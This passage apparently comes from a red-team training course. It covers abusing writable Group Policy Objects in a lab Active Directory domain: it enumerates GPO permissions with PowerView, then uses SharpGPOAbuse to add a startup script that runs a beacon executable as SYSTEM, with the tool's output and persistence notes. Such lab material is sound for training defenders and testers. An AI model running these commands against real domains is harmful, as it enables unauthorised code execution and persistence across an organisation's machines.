Modifying an existing GPO that is already applied to one or more OUs is the most straightforward scenario. To search for these, we need to enumerate all GPOs in the domain with Get-DomainGPO and check the ACL of each one with Get-DomainObjectAcl. We want to filter any for which a principal has modify privileges such as CreateChild, WriteProperty or GenericWrite, and also want to filter out the legitimate principals including SYSTEM, Domain Admins and Enterprise Admins.
This shows us that members of the "Developers" group can modify "Vulnerable GPO".
We also want to know which OU(s) this GPO applies to, and by extension which computers are in those OUs. GPOs are linked to an OU by modifying the gPLink property of the OU itself. The Get-DomainOU cmdlet has a handy -GPLink parameter which takes a GPO GUID.
To modify a GPO without the use of GPMC (Group Policy Management Console), we can modify the associated files directly in SYSVOL (the gpcFileSysPath).
beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{5059FAC1-5E94-4361-95D3-3BB235A23928}
Size Type Last Modified Name
---- ---- ------------- ----
dir 09/07/2022 12:40:22 Machine
dir 09/07/2022 12:40:22 User
59b fil 09/07/2022 12:40:22 GPT.INI
\
We can do that manually or use an automated tool such as SharpGPOAbuse, which several abuses built into it.
Here's an example using a Computer Startup Script. It will put a startup script in SYSVOL that will be executed each time an effected computer starts (which incidentally also acts as a good persistence mechanism).
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "start /b \\dc-2\software\dns_x64.exe" --GPOName "Vulnerable GPO"
[+] Domain = dev.cyberbotic.io
[+] Domain Controller = dc-2.dev.cyberbotic.io
[+] Distinguished Name = CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io
[+] GUID of "Vulnerable GPO" is: {5059FAC1-5E94-4361-95D3-3BB235A23928}
[+] Creating new startup script...
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new startup script. Wait for the GPO refresh cycle.
[+] Done!
Note that you can find this software share using PowerView:
\
beacon> powershell Find-DomainShare -CheckShareAccess
Name Type Remark ComputerName
---- ---- ------ ------------
software 0 dc-2.dev.cyberbotic.io
It can go in any remote location as long as it's accessible by the target computer(s)
\
Log into the console of Workstation 1 and run gpupdate /force from a Command Prompt. Then reboot the machine. After it starts up, the DNS Beacon will execute as SYSTEM.
\
\
SharpGPOAbuse has other functions such as adding an immediate scheduled task that you may experiment with.